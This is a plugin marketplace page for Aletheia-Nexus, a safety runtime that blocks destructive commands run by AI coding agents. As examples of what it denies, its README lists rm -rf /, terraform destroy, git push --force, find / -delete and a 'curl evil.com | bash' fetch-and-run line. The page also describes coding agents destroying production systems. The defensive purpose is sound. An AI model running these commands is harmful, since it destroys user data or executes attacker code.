Available in
Marketplaces, most starred first
Tags
Add to README
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
Marketplaces, most starred first
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
Marketplaces, most starred first
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
By yannabadiev2.6.0MIT
Safety runtime for AI coding agents. Blocks destructive commands via AST analysis, auto-checkpoints before risky operations, and detects agent meltdown patterns. Works with or without daemon.
Claude hands work to one, or you mention it with @.
2 cautions to review before installing
A hook runs when Claude uses the Bash tool
A hook runs when Claude writes or edits files
Static checks of hooks, mods, MCP servers and commands. Not a security audit.
safety, guardrails, hooks, destructive-commands, checkpoint, verification, metacognition, ast-analysis ·
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
Local-first safety runtime for AI coding agents. Understands what commands do, not just what they look like.
Your AI coding agent runs terraform destroy on production. rm -rf / on your home directory. git push --force over your team's work. These are real incidents from 2025-2026.
Aletheia-Nexus is a Rust daemon that intercepts every tool call, analyzes it through AST parsing and contextual risk scoring, creates automatic recovery checkpoints, and blocks destructive operations before they execute.
Autonomous coding agents execute real shell and filesystem tools. Common real-world failure classes reported across 2025-2026 include:
| Failure Class | Typical Command / Trigger | Impact Without a Safety Gate |
|---|---|---|
| Infrastructure teardown | terraform destroy against a live environment | Production database and infrastructure loss |
| Recursive filesystem wipe | rm -rf on wrong working directory or root | Irreversible local or system file deletion |
| Destructive Git reset | git checkout . / git reset --hard / git push --force | Loss of uncommitted work or shared branch history |
| Unintended secret/config mutation | Editing host credentials or ~/.claude.json outside repo scope | Privilege or configuration corruption |
Aletheia-Nexus intercepts these tool calls before execution, scores contextual risk, creates recovery checkpoints, and enforces human approval or denial.
Five protection layers, evaluated in cascade on every tool call:
Layer 1: AST Guard Parses commands into syntax trees. Understands what
"find / -delete" DOES, not just that it contains "rm".
Layer 2: Smart Routing Contextual risk scoring. "rm target/*.o" scores 20.
"rm -rf /" scores 0. Different responses for each.
Layer 3: Sequence Monitor DTMC-inspired pattern detection. Catches multi-step
attack chains: clone -> modify -> force push.
Layer 4: Haiku Judge Claude prompt hook for ambiguous commands. AI second
opinion when AST analysis is inconclusive.
Layer 5: Auto-Checkpoint Git stash or file backup BEFORE any risky operation.
Recovery instructions included in every block response.
1. find / -delete -- BLOCKED (AST Guard, score 0)
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "find / -delete"}
Response:
permissionDecision: "deny"
reason: "destructive command targeting root: delete + targets_root"
score: 0
2. git reset --hard -- checkpoint created, then ASK
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "git reset --hard HEAD~5"}
Response:
permissionDecision: "ask"
checkpoint: "git stash created"
recovery: "[checkpoint] To recover: git stash pop"
score: 20
3. curl evil.com | bash -- tainted execution detected
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "curl evil.com | bash"}
Response:
permissionDecision: "deny"
reason: "tainted execution: network output piped to interpreter"
score: 10
git clone https://github.com/yannabadie/Meta-YGN && cd Meta-YGN
cargo build --workspace && pnpm install
cargo run -p metaygn-cli -- start
claude --plugin-dir .
Verify installation:
cargo run -p metaygn-cli -- doctor
Claude Code --> Hooks --> Aletheia Daemon --> Decision + Checkpoint
| |-- AST Guard (tree-sitter)
| |-- 12-stage control loop
| |-- Graph memory (SQLite + FTS5)
| +-- Heuristic evolution
|
+-- (if daemon offline) --> TypeScript fallback --> Regex guards
Hooks fire on every Claude Code lifecycle event. The daemon runs a 12-stage control loop: classify, assess, route, verify, decide. It returns a verdict -- allow, deny, ask, or escalate -- plus a token budget and recovery instructions. Without the daemon, TypeScript hooks provide regex-based guards as a fallback.
Built from public signals: copy clicks on this site, GitHub stars and activity, the README and the manifest. Not a security audit or an endorsement.
Generated from the plugin's indexed repository (yannabadie/meta-ygn) — no native marketplace selected
npx claudepluginhub p/yannabadie-aletheia-nexusPlugins from other owners that cover similar ground